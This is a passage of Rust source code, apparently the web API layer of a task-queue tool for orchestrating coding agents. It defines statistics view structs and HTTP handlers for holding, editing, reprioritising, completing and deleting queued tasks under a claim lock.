7243        let Ok(state) = read_run(&ui.runs, &h.id) else {
7244            continue;
7245        };
7246        if state.status.done() {
7247            continue;
7248        }
7249        let live = state.liveness_with(
7250            claimed.contains(&h.id),
7251            |p| probe.borrow_mut().status(p),
7252            |p| probe.borrow_mut().started_at(p),
7253        );
7254        let waiting = !ui.questions.open_for(&h.id).is_empty();
7255        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
7256        let display = run_display_status(&state, waiting, live);
7257        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
7258        if matches!(word.as_str(), "stale" | "superseded")
7259            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
7260        {
7261            h.badge = Some(word);
7262        }
7263    }
7264}
7265
7266async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
7267    blocking(move || {
7268        let id = resolve_task(&ui.queue, &id)?;
7269        let task = ui.queue.get(&id)?;
7270        let inv = (task.status == TaskStatus::Blocked)
7271            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
7272        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7273        let view = match inv.as_ref() {
7274            Some(inv) => TaskView::with_inventory(task, inv),
7275            None => TaskView::from(task),
7276        }
7277        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
7278        Ok(Json(view))
7279    })
7280    .await
7281}
7282
7283async fn task_detail(
7284    State(ui): State<Arc<Ui>>,
7285    Path(id): Path<String>,
7286) -> ApiResult<Json<TaskDetailView>> {
7287    blocking(move || {
7288        let id = resolve_task(&ui.queue, &id)?;
7289        let task = ui
7290            .queue
7291            .get(&id)
7292            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
7293        let inv = if task.status == TaskStatus::Blocked {
7294            Some(crate::blockers::Inventory::load_for(
7295                &ui.queue,
7296                &ui.questions,
7297                &task,
7298            ))
7299        } else {
7300            None
7301        };
7302        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
7303        mark_badges(&ui, &task, &mut history);
7304        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
7305        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
7306        let origin = task.followup.as_ref().map(|fu| {
7307            followup_origin(
7308                fu,
7309                |tid| ui.queue.get(tid).ok(),
7310                |rid| read_run(&ui.runs, rid).ok(),
7311            )
7312        });
7313        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
7314        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7315        let task_view = match inv.as_ref() {
7316            Some(inv) => TaskView::with_inventory(task, inv),
7317            None => TaskView::from(task),
7318        }
7319        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home)
7320        .with_recovery_decisions(&ui.questions);
7321        Ok(Json(TaskDetailView {
7322            max_attempts,
7323            flow,
7324            followup_origin: origin,
7325            passes_total: history.len(),
7326            runs_distinct: distinct_runs(&task_view.task.runs),
7327            history,
7328            runs_unreadable,
7329            attempts_note: ATTEMPTS_NOTE,
7330            task: task_view,
7331        }))
7332    })
7333    .await
7334}
7335
7336/// A rate together with its denominator, so the client can tell "computed as
7337/// 0%" apart from "no data to compute it from" — both would otherwise
7338/// serialize as `0.0`. `None` means the denominator was zero.
7339#[derive(Debug, Serialize)]
7340struct RateView {
7341    pct: f64,
7342    denominator: usize,
7343}
7344
7345impl RateView {
7346    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7347        (denominator > 0).then(|| Self {
7348            pct: 100.0 * numerator as f64 / denominator as f64,
7349            denominator,
7350        })
7351    }
7352}
7353
7354/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7355/// rates, each paired with its own denominator via [`RateView`] rather than
7356/// exposing `Stats`' own percentage methods directly — see this module's
7357/// doc for why `Stats` itself is never serialized.
7358#[derive(Debug, Serialize)]
7359struct StatsTotalsView {
7360    runs: usize,
7361    merged: usize,
7362    ready: usize,
7363    blocked: usize,
7364    failed: usize,
7365    stalled: usize,
7366    verified_noop: usize,
7367    superseded: usize,
7368    in_progress: usize,
7369    completion_rate: Option<RateView>,
7370    tallied: usize,
7371    split: usize,
7372    split_rate: Option<RateView>,
7373    deliberated: usize,
7374    minds_changed: usize,
7375    converged: usize,
7376    review_rounds: usize,
7377}
7378
7379impl From<&stats::Totals> for StatsTotalsView {
7380    fn from(t: &stats::Totals) -> Self {
7381        Self {
7382            runs: t.runs,
7383            merged: t.merged,
7384            ready: t.ready,
7385            blocked: t.blocked,
7386            failed: t.failed,
7387            stalled: t.stalled,
7388            verified_noop: t.verified_noop,
7389            superseded: t.superseded,
7390            in_progress: t.in_progress,
7391            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7392            tallied: t.tallied,
7393            split: t.split,
7394            split_rate: RateView::of(t.split, t.tallied),
7395            deliberated: t.deliberated,
7396            minds_changed: t.minds_changed,
7397            converged: t.converged,
7398            review_rounds: t.review_rounds,
7399        }
7400    }
7401}
7402
7403/// [`crate::stats::AgentStats`] for the wire.
7404#[derive(Debug, Serialize)]
7405struct AgentStatsView {
7406    agent: String,
7407    entered: usize,
7408    wins: usize,
7409    empty: usize,
7410    win_rate: Option<RateView>,
7411    competitive_entered: usize,
7412    competitive_wins: usize,
7413    competitive_win_rate: Option<RateView>,
7414    solo_entered: usize,
7415    solo_adopted: usize,
7416    solo_adoption_rate: Option<RateView>,
7417}
7418
7419impl From<&stats::AgentStats> for AgentStatsView {
7420    fn from(a: &stats::AgentStats) -> Self {
7421        Self {
7422            agent: a.agent.clone(),
7423            entered: a.entered,
7424            wins: a.wins,
7425            empty: a.empty,
7426            win_rate: RateView::of(a.wins, a.entered),
7427            competitive_entered: a.competitive_entered,
7428            competitive_wins: a.competitive_wins,
7429            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7430            solo_entered: a.solo_entered,
7431            solo_adopted: a.solo_adopted,
7432            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7433        }
7434    }
7435}
7436
7437/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7438/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7439/// value, `None` when `rounds` is zero.
7440#[derive(Debug, Serialize)]
7441struct ReviewerStatsView {
7442    agent: String,
7443    rounds: usize,
7444    seated: usize,
7445    submitted: usize,
7446    adopted: usize,
7447    unique: usize,
7448    timeouts: usize,
7449    adopted_per_round: Option<f64>,
7450    precision: Option<RateView>,
7451    unique_rate: Option<RateView>,
7452    timeout_rate: Option<RateView>,
7453}
7454
7455impl From<&stats::ReviewerStats> for ReviewerStatsView {
7456    fn from(r: &stats::ReviewerStats) -> Self {
7457        Self {
7458            agent: r.agent.clone(),
7459            rounds: r.rounds,
7460            seated: r.seated,
7461            submitted: r.submitted,
7462            adopted: r.adopted,
7463            unique: r.unique,
7464            timeouts: r.timeouts,
7465            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7466            precision: RateView::of(r.adopted, r.submitted),
7467            unique_rate: RateView::of(r.unique, r.submitted),
7468            timeout_rate: RateView::of(r.timeouts, r.seated),
7469        }
7470    }
7471}
7472
7473/// [`crate::stats::AdvisorStats`] for the wire.
7474///
7475/// `reflection_rate` is approximate by construction — see
7476/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7477/// that caveat is static text in `index.html`, not a field here.
7478#[derive(Debug, Serialize)]
7479struct AdvisorStatsView {
7480    agent: String,
7481    seated: usize,
7482    proposed: usize,
7483    absent: usize,
7484    faint: usize,
7485    strong: usize,
7486    reflection_rate: Option<RateView>,
7487}
7488
7489impl From<&stats::AdvisorStats> for AdvisorStatsView {
7490    fn from(a: &stats::AdvisorStats) -> Self {
7491        Self {
7492            agent: a.agent.clone(),
7493            seated: a.seated,
7494            proposed: a.proposed,
7495            absent: a.absent,
7496            faint: a.faint,
7497            strong: a.strong,
7498            reflection_rate: RateView::of(a.strong, a.proposed),
7499        }
7500    }
7501}
7502
7503/// [`crate::stats::E2eStats`] for the wire.
7504#[derive(Debug, Serialize)]
7505struct E2eStatsView {
7506    rounds: usize,
7507    failures: usize,
7508    sole_detections: usize,
7509    deferred: usize,
7510    sole_rate: Option<RateView>,
7511}
7512
7513impl From<&stats::E2eStats> for E2eStatsView {
7514    fn from(e: &stats::E2eStats) -> Self {
7515        Self {
7516            rounds: e.rounds,
7517            failures: e.failures,
7518            sole_detections: e.sole_detections,
7519            deferred: e.deferred,
7520            sole_rate: RateView::of(e.sole_detections, e.failures),
7521        }
7522    }
7523}
7524
7525/// [`crate::stats::ReleaseBumpStats`] for the wire.
7526///
7527/// `clean` is sent as a raw count, computed the same way
7528/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7529/// needs_attention`) — never derived client-side from `automerge_enabled`,
7530/// which would misclassify a `merged_directly` bump (automerge rejected, but
7531/// magi merged it directly, so no human involvement) as needing attention.
7532#[derive(Debug, Serialize)]
7533struct ReleaseBumpStatsView {
7534    merged: usize,
7535    recorded: usize,
7536    pr_opened: usize,
7537    automerge_enabled: usize,
7538    merged_directly: usize,
7539    needs_attention: usize,
7540    clean: usize,
7541    coverage_rate: Option<RateView>,
7542    automerge_rate: Option<RateView>,
7543    attention_rate: Option<RateView>,
7544}
7545
7546impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7547    fn from(b: &stats::ReleaseBumpStats) -> Self {
7548        Self {
7549            merged: b.merged,
7550            recorded: b.recorded,
7551            pr_opened: b.pr_opened,
7552            automerge_enabled: b.automerge_enabled,
7553            merged_directly: b.merged_directly,
7554            needs_attention: b.needs_attention,
7555            clean: b.clean(),
7556            coverage_rate: RateView::of(b.recorded, b.merged),
7557            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7558            attention_rate: RateView::of(b.needs_attention, b.recorded),
7559        }
7560    }
7561}
7562
7563/// [`crate::queue::TaskCounts`] for the wire.
7564#[derive(Debug, Serialize)]
7565struct TaskCountsView {
7566    queued: usize,
7567    running: usize,
7568    done: usize,
7569    failed: usize,
7570    held: usize,
7571    blocked: usize,
7572    parked: usize,
7573}
7574
7575impl From<crate::queue::TaskCounts> for TaskCountsView {
7576    fn from(c: crate::queue::TaskCounts) -> Self {
7577        Self {
7578            queued: c.queued,
7579            running: c.running,
7580            done: c.done,
7581            failed: c.failed,
7582            held: c.held,
7583            blocked: c.blocked,
7584            parked: c.parked,
7585        }
7586    }
7587}
7588
7589/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7590/// runs recorded — the summary the UI's repository selector is built from.
7591/// Carries no nested `Stats`: picking a repo means re-fetching
7592/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7593/// aggregation rather than duplicating it.
7594#[derive(Debug, Serialize)]
7595struct RepoSummaryView {
7596    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7597    /// against, full path and all (see [`stats_get`]'s own doc for why).
7598    repo: String,
7599    /// Display name only; never used for matching.
7600    name: String,
7601    runs: usize,
7602    completion_rate: Option<RateView>,
7603}
7604
7605impl From<&stats::RepoStats> for RepoSummaryView {
7606    fn from(r: &stats::RepoStats) -> Self {
7607        let t = &r.stats.totals;
7608        Self {
7609            repo: r.repo.to_string_lossy().into_owned(),
7610            name: r.name.clone(),
7611            runs: t.runs,
7612            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7613        }
7614    }
7615}
7616
7617/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7618/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7619/// renders from them) are free to grow without that becoming a wire-contract
7620/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7621/// data" from "computed and it really is zero" the way [`RateView`] does.
7622#[derive(Debug, Serialize)]
7623struct StatsView {
7624    totals: StatsTotalsView,
7625    /// Best win rate first, as [`stats::collect`] already sorts it.
7626    agents: Vec<AgentStatsView>,
7627    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7628    reviewers: Vec<ReviewerStatsView>,
7629    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7630    advisors: Vec<AdvisorStatsView>,
7631    e2e: E2eStatsView,
7632    release_bumps: ReleaseBumpStatsView,
7633    queue: Option<TaskCountsView>,
7634    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7635    /// that field's doc. Asserted to match it in
7636    /// `stats_runs_unreadable_matches_health`.
7637    ///
7638    /// Always the whole-workload count, even when `repo` narrows every other
7639    /// field to one repository - an unreadable `run.json` carries no `repo`
7640    /// a per-repository count could attribute it to, and the queue/health
7641    /// views this mirrors never scope it either. The UI must not present it
7642    /// as if it were scoped to the selected repository.
7643    runs_unreadable: usize,
7644    /// Every repository with runs recorded, most runs first - what the UI's
7645    /// repository selector is built from. Always the full list regardless of
7646    /// `repo`, so switching repositories never needs a second request.
7647    repos: Vec<RepoSummaryView>,
7648    /// Runs per local day over the last 30 days, oldest first, always 30
7649    /// entries. Days are the *server's* local dates (the UI must not convert
7650    /// them again), cut by run creation and classified by current status.
7651    /// Narrowed by `repo` like every other run-derived field.
7652    daily: Vec<DailyStatsView>,
7653    /// The `?repo=` value this response was narrowed to, echoed back so the
7654    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7655    /// all-repositories view.
7656    repo: Option<String>,
7657    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7658    /// current config roster no longer lists them. Empty with `?all=true`, an
7659    /// unreadable config, or when nothing was retired.
7660    retired_hidden: Vec<String>,
7661}
7662
7663/// One day of [`StatsView::daily`].
7664#[derive(Debug, Serialize)]
7665struct DailyStatsView {
7666    /// `YYYY-MM-DD`, server-local.
7667    date: String,
7668    runs: usize,
7669    merged: usize,
7670    ready: usize,
7671    other: usize,
7672    /// `None` on a day with no runs, so it never reads as 0%.
7673    completion_rate: Option<RateView>,
7674}
7675
7676impl From<&stats::DayBucket> for DailyStatsView {
7677    fn from(b: &stats::DayBucket) -> Self {
7678        Self {
7679            date: b.date.to_string(),
7680            runs: b.runs,
7681            merged: b.merged,
7682            ready: b.ready,
7683            other: b.other,
7684            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7685        }
7686    }
7687}
7688
7689/// How many days [`StatsView::daily`] covers.
7690const STATS_DAILY_DAYS: usize = 30;
7691
7692/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7693/// repository. Matched by full-path equality against `RunState.repo` only
7694/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7695/// `--repo` is, because the value here always came from this same route's
7696/// own `repos` list in an earlier response, never typed by a human. A value
7697/// matching no run is a 404, not an empty aggregate: the caller asked for a
7698/// specific, named repository, and silently returning zeroes would look
7699/// exactly like a repository that has runs but none of interest.
7700#[derive(Debug, Default, Deserialize)]
7701#[serde(default)]
7702struct StatsQuery {
7703    repo: Option<String>,
7704    /// `?all=true` keeps agents that are no longer in the roster.
7705    all: bool,
7706    /// The dashboard fetches queue counts independently of run history.
7707    runs_only: bool,
7708}
7709
7710/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7711/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7712/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7713/// prints from. Reads every readable run on disk, exactly as
7714/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7715/// a separately-maintained tally could.
7716async fn stats_get(
7717    State(ui): State<Arc<Ui>>,
7718    Query(q): Query<StatsQuery>,
7719) -> ApiResult<Json<StatsView>> {
7720    blocking(move || {
7721        let states: Vec<RunState> = run_ids(&ui.runs)
7722            .into_iter()
7723            .filter_map(|id| read_run(&ui.runs, &id).ok())
7724            .collect();
7725        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7726            .iter()
7727            .map(RepoSummaryView::from)
7728            .collect();
7729        let mut scoped: Vec<&RunState> = states.iter().collect();
7730        let mut collected = match &q.repo {
7731            Some(repo) => {
7732                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7733                if filtered.is_empty() {
7734                    return Err(ApiError::not_found(format!(
7735                        "no runs recorded against repo `{repo}`"
7736                    )));
7737                }
7738                scoped = filtered.clone();
7739                stats::collect_refs(filtered)
7740            }
7741            None => stats::collect(&states),
7742        };
7743        if !q.all {
7744            let repo = q
7745                .repo
7746                .as_deref()
7747                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7748            stats::retain_current_roster(&mut collected, &repo);
7749        }
7750        let daily = stats::daily(
7751            scoped,
7752            jiff::Zoned::now().date(),
7753            &jiff::tz::TimeZone::system(),
7754            STATS_DAILY_DAYS,
7755        );
7756        let queue_counts = (!q.runs_only)
7757            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7758        Ok(Json(StatsView {
7759            totals: StatsTotalsView::from(&collected.totals),
7760            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7761            reviewers: collected
7762                .reviewers
7763                .iter()
7764                .map(ReviewerStatsView::from)
7765                .collect(),
7766            advisors: collected
7767                .advisors
7768                .iter()
7769                .map(AdvisorStatsView::from)
7770                .collect(),
7771            e2e: E2eStatsView::from(&collected.e2e),
7772            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7773            queue: queue_counts,
7774            runs_unreadable: runs_unreadable(&ui.runs),
7775            repos,
7776            daily: daily.iter().map(DailyStatsView::from).collect(),
7777            repo: q.repo.clone(),
7778            retired_hidden: collected.retired_hidden.clone(),
7779        }))
7780    })
7781    .await
7782}
7783
7784/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7785/// gives no reason - which must keep working, since not every hold has one.
7786#[derive(Debug, Default, Deserialize)]
7787#[serde(default, deny_unknown_fields)]
7788struct HoldBody {
7789    reason: Option<String>,
7790}
7791
7792async fn queue_hold(
7793    State(ui): State<Arc<Ui>>,
7794    Path(id): Path<String>,
7795    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7796) -> ApiResult<Json<TaskView>> {
7797    // An absent body is the ordinary case - most holds are unexplained, and
7798    // that has to stay a one-tap action rather than a form. A body that is
7799    // present and malformed is still a bad request.
7800    let body = match body {
7801        Ok(Json(body)) => body,
7802        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7803        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7804    };
7805    let reason = body.reason.filter(|r| !r.trim().is_empty());
7806    mutate(ui, id, move |t| {
7807        t.hold_manual(reason.clone());
7808        Ok(())
7809    })
7810    .await
7811}
7812
7813#[derive(Deserialize)]
7814#[serde(deny_unknown_fields)]
7815struct ReassignBody {
7816    repo: PathBuf,
7817}
7818
7819async fn queue_reassign(
7820    State(ui): State<Arc<Ui>>,
7821    Path(id): Path<String>,
7822    Json(body): Json<ReassignBody>,
7823) -> ApiResult<Json<TaskView>> {
7824    let home = ui.home.clone();
7825    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7826        .await
7827        .map_err(ApiError::bad_request_from)?;
7828    let notes = crate::task_reassign::advisory_notes(&task, &home);
7829    let mut view = TaskView::from(task);
7830    view.reassignment_notes = notes;
7831    Ok(Json(view))
7832}
7833
7834async fn queue_release(
7835    State(ui): State<Arc<Ui>>,
7836    Path(id): Path<String>,
7837) -> ApiResult<Json<TaskView>> {
7838    mutate(ui, id, |t| {
7839        t.release_operator("web", None);
7840        Ok(())
7841    })
7842    .await
7843}
7844
7845#[derive(Debug, Deserialize)]
7846#[serde(deny_unknown_fields)]
7847struct AttemptLimitBody {
7848    // Required even when clearing: missing fields must not silently erase an override.
7849    attempt_limit: serde_json::Value,
7850}
7851
7852async fn queue_attempt_limit(
7853    State(ui): State<Arc<Ui>>,
7854    Path(id): Path<String>,
7855    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7856) -> ApiResult<Json<TaskView>> {
7857    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7858    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7859        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7860    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7861}
7862
7863#[derive(Debug, Deserialize)]
7864#[serde(deny_unknown_fields)]
7865struct ImplementersBody {
7866    implementers: u8,
7867}
7868
7869async fn queue_implementers(
7870    State(ui): State<Arc<Ui>>,
7871    Path(id): Path<String>,
7872    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7873) -> ApiResult<Json<TaskView>> {
7874    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7875    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7876}
7877
7878#[derive(Debug, Deserialize)]
7879#[serde(deny_unknown_fields)]
7880struct UrgentBody {
7881    urgent: bool,
7882}
7883
7884async fn queue_urgent(
7885    State(ui): State<Arc<Ui>>,
7886    Path(id): Path<String>,
7887    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7888) -> ApiResult<Json<TaskView>> {
7889    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7890    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7891}
7892
7893#[derive(Debug, Deserialize)]
7894#[serde(deny_unknown_fields)]
7895struct ImmediateBody {
7896    immediate: bool,
7897}
7898
7899async fn queue_immediate(
7900    State(ui): State<Arc<Ui>>,
7901    Path(id): Path<String>,
7902    body: std::result::Result<Json<ImmediateBody>, JsonRejection>,
7903) -> ApiResult<Json<TaskView>> {
7904    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7905    mutate(ui, id, move |t| t.set_immediate(body.immediate)).await
7906}
7907
7908/// The body of `POST /api/queue/{id}/priority`.
7909#[derive(Debug, Deserialize)]
7910#[serde(deny_unknown_fields)]
7911struct PriorityBody {
7912    priority: i32,
7913}
7914
7915/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7916///
7917/// [`Task::set_priority`] is the one place the "not while running" rule is
7918/// stated; this route only carries the body to it and lets its `Err` become
7919/// the 4xx the card shows.
7920async fn queue_priority(
7921    State(ui): State<Arc<Ui>>,
7922    Path(id): Path<String>,
7923    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7924) -> ApiResult<Json<TaskView>> {
7925    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7926    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7927}
7928
7929/// The body of `POST /api/queue/{id}/edit`.
7930#[derive(Debug, Deserialize)]
7931#[serde(deny_unknown_fields)]
7932struct EditBody {
7933    title: String,
7934    instruction: String,
7935    /// Save even though the new text names a branch, commit or pull request
7936    /// that unfinished work already owns.
7937    #[serde(default)]
7938    force: bool,
7939}
7940
7941/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7942/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7943/// that refusal's message is what the sheet shows back.
7944async fn queue_edit(
7945    State(ui): State<Arc<Ui>>,
7946    Path(id): Path<String>,
7947    body: std::result::Result<Json<EditBody>, JsonRejection>,
7948) -> ApiResult<Json<TaskView>> {
7949    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7950    // The judge is an agent call, so it is awaited here, outside the claim
7951    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7952    // remembered, and the save refuses if the task moved underneath it.
7953    let mut judged: Option<(String, PathBuf)> = None;
7954    if !body.force {
7955        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7956        let (id, text) = (id.clone(), body.instruction.clone());
7957        let (seen, hits) = blocking(move || {
7958            let id = resolve_task(&queue, &id)?;
7959            let t = queue.get(&id)?;
7960            if text == t.instruction {
7961                return Ok((None, Vec::new()));
7962            }
7963            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7964            Ok((Some((t.instruction, t.repo)), hits))
7965        })
7966        .await?;
7967        if let Some((_, repo)) = &seen {
7968            let cfg = crate::config::Config::discover(repo, None)
7969                .ok()
7970                .map(|(c, _)| c);
7971            let screened =
7972                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7973                    .await
7974                    .map_err(|dup| {
7975                        ApiError::conflict(dup.render(
7976                            "Nothing was saved. If it is not a duplicate, repeat the request \
7977                             with \"force\": true.",
7978                        ))
7979                    })?;
7980            if let crate::dupes::Screened::Unjudged(why) = screened {
7981                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7982            }
7983        }
7984        judged = seen;
7985    }
7986    let force = body.force;
7987    mutate(ui, id, move |t| {
7988        if !force && body.instruction != t.instruction {
7989            match &judged {
7990                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7991                _ => {
7992                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7993                }
7994            }
7995        }
7996        t.edit(body.title.clone(), body.instruction.clone())
7997    })
7998    .await
7999}
8000
8001#[derive(Debug, Default, Deserialize)]
8002#[serde(default, deny_unknown_fields)]
8003struct CompleteBody {
8004    reason: Option<String>,
8005    result: Option<String>,
8006    discard: bool,
8007}
8008
8009/// Close through the same audited merge/discard guard as the CLI.
8010async fn queue_done(
8011    State(ui): State<Arc<Ui>>,
8012    Path(id): Path<String>,
8013    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
8014) -> ApiResult<Json<TaskView>> {
8015    let body = match body {
8016        Ok(Json(body)) => body,
8017        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
8018        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8019    };
8020    let state = Arc::clone(&ui);
8021    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
8022    let task = crate::task_completion::close_claimed(
8023        &ui.queue,
8024        &ui.home,
8025        claimed,
8026        crate::queue::CompletionActor::Web,
8027        body.reason,
8028        body.result,
8029        body.discard,
8030    )
8031    .await
8032    .map_err(ApiError::completion)?;
8033    Ok(Json(TaskView::from(task)))
8034}
8035
8036#[derive(Debug, Deserialize)]
8037#[serde(deny_unknown_fields)]
8038struct ReopenBody {
8039    reason: String,
8040}
8041
8042/// Restore a safely unlanded completion to Held, never straight to execution.
8043async fn queue_reopen(
8044    State(ui): State<Arc<Ui>>,
8045    Path(id): Path<String>,
8046    Json(body): Json<ReopenBody>,
8047) -> ApiResult<Json<TaskView>> {
8048    let state = Arc::clone(&ui);
8049    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
8050    let task = crate::task_completion::reopen_claimed(
8051        &ui.queue,
8052        &ui.home,
8053        claimed,
8054        crate::queue::CompletionActor::Web,
8055        &body.reason,
8056    )
8057    .await
8058    .map_err(ApiError::completion)?;
8059    Ok(Json(TaskView::from(task)))
8060}
8061
8062/// `DELETE /api/queue/{id}`.
8063///
8064/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
8065/// names this task: a `running` status or an orphaned `.lock` left behind by a
8066/// killed daemon is a leftover, and treating either as authority made the
8067/// task undeletable from the phone for good. The associated runs, if any, are
8068/// kept: a run is self-contained history and not an appendage of the task.
8069async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8070    blocking(move || {
8071        let id = resolve_task(&ui.queue, &id)?;
8072        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
8073        ui.queue
8074            .remove(&id, in_flight, &ui.questions)
8075            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
8076        Ok(StatusCode::NO_CONTENT)
8077    })
8078    .await
8079}
8080
8081/// Resolve the operator's reference, then reload under the same claim a daemon takes.
8082fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
8083    let id = resolve_task(queue, reference)?;
8084    let claim = queue.claim(&id).map_err(|e| {
8085        ApiError::conflict(format!(
8086            "{e:#} - a daemon is running this task, so it cannot be \
8087             changed from here yet; wait until it is released, then retry"
8088        ))
8089    })?;
8090    Ok((claim, queue.get(&id)?))
8091}
8092
8093/// Read a task, change it, write it back, under the queue's own lock.
8094///
8095/// Taking the same claim a daemon takes is what makes hold, release,
8096/// priority, edit, and done safe to press while magi is running: without it
8097/// the daemon's next save would land on top of the operator's change and
8098/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
8099/// both do, for a running task - and that refusal becomes the 4xx the card
8100/// shows, same as any other domain rule.
8101async fn mutate(
8102    ui: Arc<Ui>,
8103    id: String,
8104    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
8105) -> ApiResult<Json<TaskView>> {
8106    blocking(move || {
8107        let task = {
8108            let (_claim, mut task) = claim_task(&ui.queue, &id)?;
8109            change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
8110                Ok(dup) => ApiError::conflict(dup.render(
8111                    "Nothing was saved. If it is not a duplicate, repeat the request with \
8112                     \"force\": true.",
8113                )),
8114                Err(e) => ApiError::bad_request_from(e),
8115            })?;
8116            ui.queue.put(&mut task)?;
8117            task
8118        };
8119        let inv = (task.status == TaskStatus::Blocked)
8120            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
8121        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
8122        let view = match inv.as_ref() {
8123            Some(inv) => TaskView::with_inventory(task, inv),
8124            None => TaskView::from(task),
8125        }
8126        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
8127        Ok(Json(view))
8128    })
8129    .await
8130}
8131
8132/// The change stream: one revision number per store, on connect and whenever
8133/// any of them moves.
8134///
8135/// One shared worker scans stores; clients only forward its notifications.
8136async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
8137    ui.monitor.ensure_worker(&ui);
8138    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
8139    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
8140
